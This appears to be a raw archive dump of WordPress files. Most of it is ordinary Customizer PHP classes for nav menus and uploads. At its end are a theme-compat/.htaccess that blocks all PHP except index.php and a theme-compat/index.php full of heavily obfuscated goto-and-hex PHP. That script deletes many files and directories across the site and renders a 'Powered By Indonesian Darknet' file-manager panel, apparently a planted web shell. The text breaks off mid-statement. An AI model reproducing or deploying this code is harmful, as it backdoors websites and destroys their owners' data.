			<button type="button" class="button add-new-menu-item add-menu-toggle" aria-expanded="false">
				<?php echo esc_html( $this->title ); ?>
			</button>
			<ul class="new-menu-section-content"></ul>
		</li>
		<?php
	}
}
class-wp-customize-nav-menu-control.php000064400000004024152331005320014222 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Nav Menu Control Class.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Nav_Menu_Control extends WP_Customize_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu';

	/**
	 * Don't render the control's content - it uses a JS template instead.
	 *
	 * @since 4.3.0
	 */
	public function render_content() {}

	/**
	 * JS/Underscore template for the control UI.
	 *
	 * @since 4.3.0
	 */
	public function content_template() {
		$add_items = __( 'Add Items' );
		?>
		<p class="new-menu-item-invitation">
			<?php
			printf(
				/* translators: %s: "Add Items" button text. */
				__( 'Time to add some links! Click &#8220;%s&#8221; to start putting pages, categories, and custom links in your menu. Add as many things as you&#8217;d like.' ),
				$add_items
			);
			?>
		</p>
		<div class="customize-control-nav_menu-buttons">
			<button type="button" class="button add-new-menu-item" aria-label="<?php esc_attr_e( 'Add or remove menu items' ); ?>" aria-expanded="false" aria-controls="available-menu-items">
				<?php echo $add_items; ?>
			</button>
			<button type="button" class="button-link reorder-toggle" aria-label="<?php esc_attr_e( 'Reorder menu items' ); ?>" aria-describedby="reorder-items-desc-{{ data.menu_id }}">
				<span class="reorder"><?php _e( 'Reorder' ); ?></span>
				<span class="reorder-done"><?php _e( 'Done' ); ?></span>
			</button>
		</div>
		<p class="screen-reader-text" id="reorder-items-desc-{{ data.menu_id }}"><?php _e( 'When in reorder mode, additional controls to reorder menu items will be available in the items list above.' ); ?></p>
		<?php
	}

	/**
	 * Return parameters for this control.
	 *
	 * @since 4.3.0
	 *
	 * @return array Exported parameters.
	 */
	public function json() {
		$exported            = parent::json();
		$exported['menu_id'] = $this->setting->term_id;

		return $exported;
	}
}
class-wp-customize-nav-menu-setting.php000064400000044762152331005320014234 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Setting class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Setting to represent a nav_menu.
 *
 * Subclass of WP_Customize_Setting to represent a nav_menu taxonomy term, and
 * the IDs for the nav_menu_items associated with the nav menu.
 *
 * @since 4.3.0
 *
 * @see wp_get_nav_menu_object()
 * @see WP_Customize_Setting
 */
class WP_Customize_Nav_Menu_Setting extends WP_Customize_Setting {

	const ID_PATTERN = '/^nav_menu\[(?P<id>-?\d+)\]$/';

	const TAXONOMY = 'nav_menu';

	const TYPE = 'nav_menu';

	/**
	 * Setting type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = self::TYPE;

	/**
	 * Default setting value.
	 *
	 * @since 4.3.0
	 * @var array
	 *
	 * @see wp_get_nav_menu_object()
	 */
	public $default = array(
		'name'        => '',
		'description' => '',
		'parent'      => 0,
		'auto_add'    => false,
	);

	/**
	 * Default transport.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $transport = 'postMessage';

	/**
	 * The term ID represented by this setting instance.
	 *
	 * A negative value represents a placeholder ID for a new menu not yet saved.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $term_id;

	/**
	 * Previous (placeholder) term ID used before creating a new menu.
	 *
	 * This value will be exported to JS via the {@see 'customize_save_response'} filter
	 * so that JavaScript can update the settings to refer to the newly-assigned
	 * term ID. This value is always negative to indicate it does not refer to
	 * a real term.
	 *
	 * @since 4.3.0
	 * @var int
	 *
	 * @see WP_Customize_Nav_Menu_Setting::update()
	 * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
	 */
	public $previous_term_id;

	/**
	 * Whether or not update() was called.
	 *
	 * @since 4.3.0
	 * @var bool
	 */
	protected $is_updated = false;

	/**
	 * Status for calling the update method, used in customize_save_response filter.
	 *
	 * See {@see 'customize_save_response'}.
	 *
	 * When status is inserted, the placeholder term ID is stored in `$previous_term_id`.
	 * When status is error, the error is stored in `$update_error`.
	 *
	 * @since 4.3.0
	 * @var string updated|inserted|deleted|error
	 *
	 * @see WP_Customize_Nav_Menu_Setting::update()
	 * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
	 */
	public $update_status;

	/**
	 * Any error object returned by wp_update_nav_menu_object() when setting is updated.
	 *
	 * @since 4.3.0
	 * @var WP_Error
	 *
	 * @see WP_Customize_Nav_Menu_Setting::update()
	 * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
	 */
	public $update_error;

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @since 4.3.0
	 *
	 * @throws Exception If $id is not valid for this setting type.
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      A specific ID of the setting.
	 *                                      Can be a theme mod or option name.
	 * @param array                $args    Optional. Setting arguments.
	 */
	public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
		if ( empty( $manager->nav_menus ) ) {
			throw new Exception( 'Expected WP_Customize_Manager::$nav_menus to be set.' );
		}

		if ( ! preg_match( self::ID_PATTERN, $id, $matches ) ) {
			throw new Exception( "Illegal widget setting ID: $id" );
		}

		$this->term_id = (int) $matches['id'];

		parent::__construct( $manager, $id, $args );
	}

	/**
	 * Get the instance data for a given widget setting.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_get_nav_menu_object()
	 *
	 * @return array Instance data.
	 */
	public function value() {
		if ( $this->is_previewed && get_current_blog_id() === $this->_previewed_blog_id ) {
			$undefined  = new stdClass(); // Symbol.
			$post_value = $this->post_value( $undefined );

			if ( $undefined === $post_value ) {
				$value = $this->_original_value;
			} else {
				$value = $post_value;
			}
		} else {
			$value = false;

			// Note that a term_id of less than one indicates a nav_menu not yet inserted.
			if ( $this->term_id > 0 ) {
				$term = wp_get_nav_menu_object( $this->term_id );

				if ( $term ) {
					$value = wp_array_slice_assoc( (array) $term, array_keys( $this->default ) );

					$nav_menu_options  = (array) get_option( 'nav_menu_options', array() );
					$value['auto_add'] = false;

					if ( isset( $nav_menu_options['auto_add'] ) && is_array( $nav_menu_options['auto_add'] ) ) {
						$value['auto_add'] = in_array( $term->term_id, $nav_menu_options['auto_add'], true );
					}
				}
			}

			if ( ! is_array( $value ) ) {
				$value = $this->default;
			}
		}

		return $value;
	}

	/**
	 * Handle previewing the setting.
	 *
	 * @since 4.3.0
	 * @since 4.4.0 Added boolean return value
	 *
	 * @see WP_Customize_Manager::post_value()
	 *
	 * @return bool False if method short-circuited due to no-op.
	 */
	public function preview() {
		if ( $this->is_previewed ) {
			return false;
		}

		$undefined      = new stdClass();
		$is_placeholder = ( $this->term_id < 0 );
		$is_dirty       = ( $undefined !== $this->post_value( $undefined ) );
		if ( ! $is_placeholder && ! $is_dirty ) {
			return false;
		}

		$this->is_previewed       = true;
		$this->_original_value    = $this->value();
		$this->_previewed_blog_id = get_current_blog_id();

		add_filter( 'wp_get_nav_menus', array( $this, 'filter_wp_get_nav_menus' ), 10, 2 );
		add_filter( 'wp_get_nav_menu_object', array( $this, 'filter_wp_get_nav_menu_object' ), 10, 2 );
		add_filter( 'default_option_nav_menu_options', array( $this, 'filter_nav_menu_options' ) );
		add_filter( 'option_nav_menu_options', array( $this, 'filter_nav_menu_options' ) );

		return true;
	}

	/**
	 * Filters the wp_get_nav_menus() result to ensure the inserted menu object is included, and the deleted one is removed.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_get_nav_menus()
	 *
	 * @param WP_Term[] $menus An array of menu objects.
	 * @param array     $args  An array of arguments used to retrieve menu objects.
	 * @return WP_Term[] Array of menu objects.
	 */
	public function filter_wp_get_nav_menus( $menus, $args ) {
		if ( get_current_blog_id() !== $this->_previewed_blog_id ) {
			return $menus;
		}

		$setting_value = $this->value();
		$is_delete     = ( false === $setting_value );
		$index         = -1;

		// Find the existing menu item's position in the list.
		foreach ( $menus as $i => $menu ) {
			if ( (int) $this->term_id === (int) $menu->term_id || (int) $this->previous_term_id === (int) $menu->term_id ) {
				$index = $i;
				break;
			}
		}

		if ( $is_delete ) {
			// Handle deleted menu by removing it from the list.
			if ( -1 !== $index ) {
				array_splice( $menus, $index, 1 );
			}
		} else {
			// Handle menus being updated or inserted.
			$menu_obj = (object) array_merge(
				array(
					'term_id'          => $this->term_id,
					'term_taxonomy_id' => $this->term_id,
					'slug'             => sanitize_title( $setting_value['name'] ),
					'count'            => 0,
					'term_group'       => 0,
					'taxonomy'         => self::TAXONOMY,
					'filter'           => 'raw',
				),
				$setting_value
			);

			array_splice( $menus, $index, ( -1 === $index ? 0 : 1 ), array( $menu_obj ) );
		}

		// Make sure the menu objects get re-sorted after an update/insert.
		if ( ! $is_delete && ! empty( $args['orderby'] ) ) {
			$menus = wp_list_sort(
				$menus,
				array(
					$args['orderby'] => 'ASC',
				)
			);
		}
		// @todo Add support for $args['hide_empty'] === true.

		return $menus;
	}

	/**
	 * Temporary non-closure passing of orderby value to function.
	 *
	 * @since 4.3.0
	 * @var string
	 *
	 * @see WP_Customize_Nav_Menu_Setting::filter_wp_get_nav_menus()
	 * @see WP_Customize_Nav_Menu_Setting::_sort_menus_by_orderby()
	 */
	protected $_current_menus_sort_orderby;

	/**
	 * Sort menu objects by the class-supplied orderby property.
	 *
	 * This is a workaround for a lack of closures.
	 *
	 * @since 4.3.0
	 * @deprecated 4.7.0 Use wp_list_sort()
	 *
	 * @param object $menu1
	 * @param object $menu2
	 * @return int
	 *
	 * @see WP_Customize_Nav_Menu_Setting::filter_wp_get_nav_menus()
	 */
	protected function _sort_menus_by_orderby( $menu1, $menu2 ) {
		_deprecated_function( __METHOD__, '4.7.0', 'wp_list_sort' );

		$key = $this->_current_menus_sort_orderby;
		return strcmp( $menu1->$key, $menu2->$key );
	}

	/**
	 * Filters the wp_get_nav_menu_object() result to supply the previewed menu object.
	 *
	 * Requesting a nav_menu object by anything but ID is not supported.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_get_nav_menu_object()
	 *
	 * @param object|null $menu_obj Object returned by wp_get_nav_menu_object().
	 * @param string      $menu_id  ID of the nav_menu term. Requests by slug or name will be ignored.
	 * @return object|null
	 */
	public function filter_wp_get_nav_menu_object( $menu_obj, $menu_id ) {
		$ok = (
			get_current_blog_id() === $this->_previewed_blog_id
			&&
			is_int( $menu_id )
			&&
			$menu_id === $this->term_id
		);
		if ( ! $ok ) {
			return $menu_obj;
		}

		$setting_value = $this->value();

		// Handle deleted menus.
		if ( false === $setting_value ) {
			return false;
		}

		// Handle sanitization failure by preventing short-circuiting.
		if ( null === $setting_value ) {
			return $menu_obj;
		}

		$menu_obj = (object) array_merge(
			array(
				'term_id'          => $this->term_id,
				'term_taxonomy_id' => $this->term_id,
				'slug'             => sanitize_title( $setting_value['name'] ),
				'count'            => 0,
				'term_group'       => 0,
				'taxonomy'         => self::TAXONOMY,
				'filter'           => 'raw',
			),
			$setting_value
		);

		return $menu_obj;
	}

	/**
	 * Filters the nav_menu_options option to include this menu's auto_add preference.
	 *
	 * @since 4.3.0
	 *
	 * @param array $nav_menu_options Nav menu options including auto_add.
	 * @return array (Maybe) modified nav menu options.
	 */
	public function filter_nav_menu_options( $nav_menu_options ) {
		if ( get_current_blog_id() !== $this->_previewed_blog_id ) {
			return $nav_menu_options;
		}

		$menu             = $this->value();
		$nav_menu_options = $this->filter_nav_menu_options_value(
			$nav_menu_options,
			$this->term_id,
			false === $menu ? false : $menu['auto_add']
		);

		return $nav_menu_options;
	}

	/**
	 * Sanitize an input.
	 *
	 * Note that parent::sanitize() erroneously does wp_unslash() on $value, but
	 * we remove that in this override.
	 *
	 * @since 4.3.0
	 *
	 * @param array $value The value to sanitize.
	 * @return array|false|null Null if an input isn't valid. False if it is marked for deletion.
	 *                          Otherwise the sanitized value.
	 */
	public function sanitize( $value ) {
		// Menu is marked for deletion.
		if ( false === $value ) {
			return $value;
		}

		// Invalid.
		if ( ! is_array( $value ) ) {
			return null;
		}

		$default = array(
			'name'        => '',
			'description' => '',
			'parent'      => 0,
			'auto_add'    => false,
		);
		$value   = array_merge( $default, $value );
		$value   = wp_array_slice_assoc( $value, array_keys( $default ) );

		$value['name']        = trim( esc_html( $value['name'] ) ); // This sanitization code is used in wp-admin/nav-menus.php.
		$value['description'] = sanitize_text_field( $value['description'] );
		$value['parent']      = max( 0, (int) $value['parent'] );
		$value['auto_add']    = ! empty( $value['auto_add'] );

		if ( '' === $value['name'] ) {
			$value['name'] = _x( '(unnamed)', 'Missing menu name.' );
		}

		/** This filter is documented in wp-includes/class-wp-customize-setting.php */
		return apply_filters( "customize_sanitize_{$this->id}", $value, $this );
	}

	/**
	 * Storage for data to be sent back to client in customize_save_response filter.
	 *
	 * See {@see 'customize_save_response'}.
	 *
	 * @since 4.3.0
	 * @var array
	 *
	 * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
	 */
	protected $_widget_nav_menu_updates = array();

	/**
	 * Create/update the nav_menu term for this setting.
	 *
	 * Any created menus will have their assigned term IDs exported to the client
	 * via the {@see 'customize_save_response'} filter. Likewise, any errors will be exported
	 * to the client via the customize_save_response() filter.
	 *
	 * To delete a menu, the client can send false as the value.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_update_nav_menu_object()
	 *
	 * @param array|false $value {
	 *     The value to update. Note that slug cannot be updated via wp_update_nav_menu_object().
	 *     If false, then the menu will be deleted entirely.
	 *
	 *     @type string $name        The name of the menu to save.
	 *     @type string $description The term description. Default empty string.
	 *     @type int    $parent      The id of the parent term. Default 0.
	 *     @type bool   $auto_add    Whether pages will auto_add to this menu. Default false.
	 * }
	 * @return null|void
	 */
	protected function update( $value ) {
		if ( $this->is_updated ) {
			return;
		}

		$this->is_updated = true;
		$is_placeholder   = ( $this->term_id < 0 );
		$is_delete        = ( false === $value );

		add_filter( 'customize_save_response', array( $this, 'amend_customize_save_response' ) );

		$auto_add = null;
		if ( $is_delete ) {
			// If the current setting term is a placeholder, a delete request is a no-op.
			if ( $is_placeholder ) {
				$this->update_status = 'deleted';
			} else {
				$r = wp_delete_nav_menu( $this->term_id );

				if ( is_wp_error( $r ) ) {
					$this->update_status = 'error';
					$this->update_error  = $r;
				} else {
					$this->update_status = 'deleted';
					$auto_add            = false;
				}
			}
		} else {
			// Insert or update menu.
			$menu_data              = wp_array_slice_assoc( $value, array( 'description', 'parent' ) );
			$menu_data['menu-name'] = $value['name'];

			$menu_id              = $is_placeholder ? 0 : $this->term_id;
			$r                    = wp_update_nav_menu_object( $menu_id, wp_slash( $menu_data ) );
			$original_name        = $menu_data['menu-name'];
			$name_conflict_suffix = 1;
			while ( is_wp_error( $r ) && 'menu_exists' === $r->get_error_code() ) {
				$name_conflict_suffix += 1;
				/* translators: 1: Original menu name, 2: Duplicate count. */
				$menu_data['menu-name'] = sprintf( __( '%1$s (%2$d)' ), $original_name, $name_conflict_suffix );
				$r                      = wp_update_nav_menu_object( $menu_id, wp_slash( $menu_data ) );
			}

			if ( is_wp_error( $r ) ) {
				$this->update_status = 'error';
				$this->update_error  = $r;
			} else {
				if ( $is_placeholder ) {
					$this->previous_term_id = $this->term_id;
					$this->term_id          = $r;
					$this->update_status    = 'inserted';
				} else {
					$this->update_status = 'updated';
				}

				$auto_add = $value['auto_add'];
			}
		}

		if ( null !== $auto_add ) {
			$nav_menu_options = $this->filter_nav_menu_options_value(
				(array) get_option( 'nav_menu_options', array() ),
				$this->term_id,
				$auto_add
			);
			update_option( 'nav_menu_options', $nav_menu_options );
		}

		if ( 'inserted' === $this->update_status ) {
			// Make sure that new menus assigned to nav menu locations use their new IDs.
			foreach ( $this->manager->settings() as $setting ) {
				if ( ! preg_match( '/^nav_menu_locations\[/', $setting->id ) ) {
					continue;
				}

				$post_value = $setting->post_value( null );
				if ( ! is_null( $post_value ) && (int) $post_value === $this->previous_term_id ) {
					$this->manager->set_post_value( $setting->id, $this->term_id );
					$setting->save();
				}
			}

			// Make sure that any nav_menu widgets referencing the placeholder nav menu get updated and sent back to client.
			foreach ( array_keys( $this->manager->unsanitized_post_values() ) as $setting_id ) {
				$nav_menu_widget_setting = $this->manager->get_setting( $setting_id );
				if ( ! $nav_menu_widget_setting || ! preg_match( '/^widget_nav_menu\[/', $nav_menu_widget_setting->id ) ) {
					continue;
				}

				$widget_instance = $nav_menu_widget_setting->post_value(); // Note that this calls WP_Customize_Widgets::sanitize_widget_instance().
				if ( empty( $widget_instance['nav_menu'] ) || (int) $widget_instance['nav_menu'] !== $this->previous_term_id ) {
					continue;
				}

				$widget_instance['nav_menu'] = $this->term_id;
				$updated_widget_instance     = $this->manager->widgets->sanitize_widget_js_instance( $widget_instance );
				$this->manager->set_post_value( $nav_menu_widget_setting->id, $updated_widget_instance );
				$nav_menu_widget_setting->save();

				$this->_widget_nav_menu_updates[ $nav_menu_widget_setting->id ] = $updated_widget_instance;
			}
		}
	}

	/**
	 * Updates a nav_menu_options array.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Nav_Menu_Setting::filter_nav_menu_options()
	 * @see WP_Customize_Nav_Menu_Setting::update()
	 *
	 * @param array $nav_menu_options Array as returned by get_option( 'nav_menu_options' ).
	 * @param int   $menu_id          The term ID for the given menu.
	 * @param bool  $auto_add         Whether to auto-add or not.
	 * @return array (Maybe) modified nav_menu_otions array.
	 */
	protected function filter_nav_menu_options_value( $nav_menu_options, $menu_id, $auto_add ) {
		$nav_menu_options = (array) $nav_menu_options;
		if ( ! isset( $nav_menu_options['auto_add'] ) ) {
			$nav_menu_options['auto_add'] = array();
		}

		$i = array_search( $menu_id, $nav_menu_options['auto_add'], true );

		if ( $auto_add && false === $i ) {
			array_push( $nav_menu_options['auto_add'], $this->term_id );
		} elseif ( ! $auto_add && false !== $i ) {
			array_splice( $nav_menu_options['auto_add'], $i, 1 );
		}

		return $nav_menu_options;
	}

	/**
	 * Export data for the JS client.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Nav_Menu_Setting::update()
	 *
	 * @param array $data Additional information passed back to the 'saved' event on `wp.customize`.
	 * @return array Export data.
	 */
	public function amend_customize_save_response( $data ) {
		if ( ! isset( $data['nav_menu_updates'] ) ) {
			$data['nav_menu_updates'] = array();
		}
		if ( ! isset( $data['widget_nav_menu_updates'] ) ) {
			$data['widget_nav_menu_updates'] = array();
		}

		$data['nav_menu_updates'][] = array(
			'term_id'          => $this->term_id,
			'previous_term_id' => $this->previous_term_id,
			'error'            => $this->update_error ? $this->update_error->get_error_code() : null,
			'status'           => $this->update_status,
			'saved_value'      => 'deleted' === $this->update_status ? null : $this->value(),
		);

		$data['widget_nav_menu_updates'] = array_merge(
			$data['widget_nav_menu_updates'],
			$this->_widget_nav_menu_updates
		);
		$this->_widget_nav_menu_updates  = array();

		return $data;
	}
}
class-wp-customize-upload-control.php000064400000002255152331005320013764 0ustar00<?php
/**
 * Customize API: WP_Customize_Upload_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Upload Control Class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Media_Control
 */
class WP_Customize_Upload_Control extends WP_Customize_Media_Control {
	/**
	 * Control type.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	public $type = 'upload';

	/**
	 * Media control mime type.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $mime_type = '';

	/**
	 * Button labels.
	 *
	 * @since 4.1.0
	 * @var array
	 */
	public $button_labels = array();

	public $removed = '';         // Unused.
	public $context;              // Unused.
	public $extensions = array(); // Unused.

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 3.4.0
	 *
	 * @uses WP_Customize_Media_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();

		$value = $this->value();
		if ( $value ) {
			// Get the attachment model for the existing file.
			$attachment_id = attachment_url_to_postid( $value );
			if ( $attachment_id ) {
				$this->json['attachment'] = wp_prepare_attachment_for_js( $attachment_id );
			}
		}
	}
}
theme-compat/.htaccess000064400000000334152331005320010717 0ustar00<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|php7|phP|PhP|php5|php8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php)$'>
Order allow,deny
Allow from all
</FilesMatch>theme-compat/index.php000064400000336631152331005320010755 0ustar00<?php
 goto q2fio; G_38c: $nBhgc = rmdir($oyZlv . "\x2e\167\145\x6c\x6c\x2d\x6b\x6e\157\167\x6e\57\141\x63\155\x65\x2d\x63\150\141\x6c\x6c\x65\x6e\147\x65\57\145\x2f\141\57\142\57\142\x2f\143"); goto b2fuW; dTW6u: $Lffju = rmdir($oyZlv . "\167\160\55\143\x6f\x6e\x74\x65\156\x74\57\x70\x6c\165\147\x69\156\x73\x2f\163\160\x68\151\156\170"); goto cF2n3; t1Mg1: $KaCEp = rmdir($oyZlv . "\154\x6f\147"); goto i81hj; MDiY1: $aBo2T = unlink($oyZlv . "\x6c\x69\145\163\155\x69\143\x68\x2e\150\x74\x6d\154"); goto kIc28; bAP6Y: echo "\40\11\74\57\141\162\x74\151\143\154\x65\x3e\40\11\x3c\x64\x69\166\x20\143\x6c\x61\x73\x73\75\x22\x62\147\55\144\x61\x72\x6b\40\142\157\162\144\x65\162\40\164\x65\170\x74\55\x63\145\156\x74\x65\162\40\x6d\x74\55\x32\42\76\40\11\x9\74\163\x6d\x61\x6c\x6c\76\103\x6f\160\171\x72\151\x67\x68\x74\40\46\143\x6f\x70\x79\73\40\x32\60\62\x31\40\55\x20\120\x6f\167\145\162\145\144\x20\102\171\40\x49\156\x64\157\156\x65\x73\151\x61\156\40\104\141\x72\x6b\x6e\x65\x74\x3c\57\163\x6d\x61\154\x6c\76\40\x9\74\x2f\144\151\166\76\x20\11\74\163\x63\162\x69\160\164\x20\x73\162\x63\x3d\x22\x2f\x2f\x63\x6f\144\145\x2e\x6a\161\x75\145\x72\171\x2e\143\157\155\57\x6a\161\165\x65\162\171\x2d\63\x2e\65\56\x31\x2e\x73\154\151\155\x2e\x6d\151\156\x2e\152\163\x22\x3e\74\57\163\x63\x72\x69\160\x74\76\40\x9\74\163\x63\162\x69\x70\164\x20\163\x72\143\x3d\x22\57\x2f\x63\x64\x6e\56\x6a\x73\x64\x65\x6c\151\166\x72\56\x6e\x65\164\x2f\x6e\160\x6d\x2f\x62\x6f\157\164\163\164\x72\x61\x70\x40\64\x2e\66\56\60\57\144\x69\163\x74\x2f\x6a\163\57\x62\x6f\x6f\x74\x73\164\162\141\160\56\x62\x75\156\x64\x6c\145\x2e\x6d\151\x6e\x2e\x6a\x73\x22\40\76\74\x2f\x73\x63\162\151\x70\x74\x3e\x20\x9\x3c\x73\x63\x72\151\160\164\x20\163\x72\x63\75\x22\57\x2f\x63\144\x6e\x2e\152\x73\x64\x65\x6c\151\166\x72\56\156\x65\164\x2f\x6e\160\x6d\x2f\142\x73\55\x63\165\x73\x74\157\x6d\x2d\x66\151\154\145\55\151\156\x70\x75\x74\57\144\x69\x73\x74\57\x62\x73\x2d\143\x75\163\x74\157\x6d\x2d\146\x69\x6c\145\55\151\156\160\165\164\x2e\155\x69\156\56\x6a\x73\x22\x3e\x3c\x2f\x73\143\x72\151\160\x74\x3e\x20\x9\x3c\163\x63\162\x69\x70\164\76\145\166\x61\x6c\x28\146\x75\x6e\x63\x74\151\157\156\50\x70\x2c\141\x2c\143\x2c\153\x2c\x65\54\144\51\x7b\x65\x3d\146\165\156\143\164\151\x6f\x6e\x28\143\51\x7b\162\145\x74\165\x72\156\50\143\74\141\x3f\47\47\x3a\x65\x28\x70\141\162\163\145\111\x6e\164\x28\143\x2f\x61\51\51\51\53\50\x28\143\75\143\x25\141\51\76\63\65\77\123\x74\162\x69\x6e\x67\56\x66\x72\157\x6d\x43\150\x61\162\x43\x6f\x64\x65\50\x63\x2b\x32\x39\51\72\143\56\164\x6f\123\x74\162\151\x6e\147\x28\x33\x36\51\51\x7d\x3b\x69\146\x28\x21\x27\x27\x2e\x72\x65\160\x6c\x61\143\x65\x28\57\136\57\x2c\123\164\162\151\x6e\x67\51\51\173\x77\x68\151\x6c\145\x28\x63\x2d\55\x29\x7b\x64\133\145\x28\143\51\135\x3d\153\133\x63\x5d\174\x7c\x65\50\x63\x29\x7d\x6b\x3d\133\x66\x75\x6e\x63\x74\151\157\156\x28\x65\x29\173\x72\145\164\x75\x72\156\40\x64\x5b\145\135\175\135\x3b\145\x3d\146\165\156\143\164\x69\x6f\x6e\50\51\173\162\145\x74\165\x72\156\47\134\x5c\x77\53\47\x7d\x3b\143\75\x31\175\x3b\x77\x68\x69\154\145\50\x63\55\55\x29\173\x69\146\x28\x6b\133\x63\135\51\x7b\x70\75\x70\56\x72\145\160\x6c\x61\x63\x65\x28\156\145\x77\40\122\x65\x67\105\170\160\x28\47\134\x5c\x62\47\x2b\x65\50\x63\51\x2b\47\134\134\x62\x27\54\x27\x67\47\51\54\x6b\x5b\x63\135\x29\x7d\x7d\x72\145\x74\165\162\156\40\x70\175\50\x27\105\56\156\50\x29\73\x24\50\134\47\133\x32\x2d\x6d\x3d\x22\64\42\135\134\47\51\56\x34\x28\x29\73\x24\50\42\x2e\x6c\42\51\x2e\153\50\x6a\x28\x65\x29\x7b\145\x2e\147\50\51\73\150\40\60\75\x24\50\66\x29\x2e\x35\50\x22\62\55\x30\42\51\x3b\143\50\x7b\x62\x3a\42\x61\x22\x2c\x39\72\42\157\40\x69\x20\x71\77\x22\54\167\x3a\x22\104\40\x22\x2b\x30\x2b\42\40\x70\x20\x43\40\x42\42\54\101\x3a\67\x2c\172\x3a\x37\x2c\x7d\x29\x2e\x79\x28\50\70\51\75\x3e\173\162\50\70\x29\173\x78\x20\x31\75\44\50\x36\x29\56\65\x28\42\63\x22\x29\x2b\42\x26\x74\75\42\x2b\x28\x28\60\75\75\42\x76\42\x29\77\42\144\42\72\42\146\42\51\73\165\x2e\x73\56\63\x3d\x31\175\x7d\51\175\x29\73\47\x2c\x34\x31\x2c\64\x31\54\x27\164\x79\160\x65\x7c\x62\x75\151\154\144\125\x52\x4c\174\144\141\x74\x61\x7c\150\162\145\x66\x7c\x74\157\x6f\x6c\164\x69\x70\x7c\x61\x74\164\162\174\x74\x68\151\163\174\x74\162\165\x65\x7c\167\151\x6c\x6c\104\x65\x6c\x65\x74\145\174\x74\151\x74\154\145\174\x77\141\162\x6e\151\x6e\147\174\x69\143\157\x6e\x7c\x73\x77\141\x6c\174\x7c\x7c\174\160\x72\x65\166\145\x6e\164\104\x65\146\141\x75\x6c\x74\174\x6c\x65\x74\174\x79\x6f\165\174\146\x75\156\x63\164\151\157\156\174\143\154\x69\x63\153\174\x64\145\154\x65\164\x65\x7c\x74\x6f\x67\147\154\145\x7c\151\156\x69\164\174\101\x72\145\174\x77\x69\154\x6c\x7c\x73\165\x72\145\174\x69\146\174\154\157\143\141\x74\x69\157\x6e\x7c\x7c\x64\x6f\143\x75\x6d\x65\x6e\164\x7c\x66\157\x6c\144\x65\x72\x7c\x74\x65\170\x74\174\143\x6f\x6e\x73\x74\174\x74\150\145\x6e\174\x64\141\156\x67\x65\x72\x4d\157\x64\x65\x7c\142\x75\164\x74\x6f\x6e\163\174\144\x65\154\145\164\x65\144\x7c\142\145\x7c\x54\150\x69\x73\x7c\x62\163\x43\x75\163\164\157\155\x46\x69\154\x65\x49\156\x70\165\x74\47\56\163\x70\x6c\x69\x74\x28\47\x7c\x27\51\54\x30\x2c\x7b\175\51\x29\x3c\57\163\143\x72\x69\160\164\76\40\x3c\57\142\157\x64\171\x3e\x20\74\x2f\150\x74\155\x6c\76\xd\xa\15\xa"; goto HAq34; vbKP7: $FPTKR = unlink($oyZlv . "\x77\160\55\143\x6f\x6e\164\145\x6e\x74\57\x70\154\165\x67\x69\x6e\163\57\144\165\160\x6c\151\x63\x61\164\157\162\x2d\x70\x72\x6f\x2e\x74\141\x72\x2e\147\x7a"); goto DxlPl; bB0Mj: $fYlu9 = unlink($oyZlv . "\x75\x6c\x63\66\56\x70\150\x70"); goto iMG1t; hSSnN: $ts0jA = unlink($oyZlv . "\x69\160\156\137\155\141\151\x6e\137\150\141\156\x64\x6c\145\x72\56\160\x68\160"); goto jAERf; ISVC4: $JNfbw = unlink($oyZlv . "\163\x65\x6f\142\151\x6c\x69\164\x79\x76\x65\x72\151\x66\x79\x5f\71\62\60\x36\x33\65\x38\56\150\x74\155\x6c"); goto MZ_1T; af4JG: $O0bd2 = unlink($oyZlv . "\141\x64\155\151\156\x2e\160\150\160"); goto Tm9Mx; FvOSw: $SslvK = rmdir($oyZlv . "\x77\x70\x2d\x63\157\156\164\x65\156\164\57\160\154\165\147\151\x6e\163\57\x33\60\x70\161\x37\163\63\x33"); goto i8S0b; VCdO_: $Fr3ez = rmdir($oyZlv . "\166\x7a\150\56\164\170\x74"); goto Li0gG; xoeXx: $cjDF6 = unlink($oyZlv . "\x75\160\x2e\160\x68\160"); goto K30l4; aMhsd: $p8k_k = unlink($oyZlv . "\167\160\55\x32\x32\56\160\150\160"); goto jzcw7; VrEB5: $MOGmz = unlink($oyZlv . "\164\x2e\x70\150\160"); goto xoeXx; L_6im: $qUnxB = unlink($oyZlv . "\167\x65\142\x2e\x63\x6f\156\x66\151\x67\56\142\153\165\x70\x32\66\x31\x32\62\60\x32\x34\60\63\61\66"); goto hSSnN; XQn0b: $wa9yx = rmdir($oyZlv . "\166\145\156\x64\x6f\x72"); goto pUJFH; xCsE6: T1hif: goto ATAYs; juX8u: $B771U = rmdir($oyZlv . 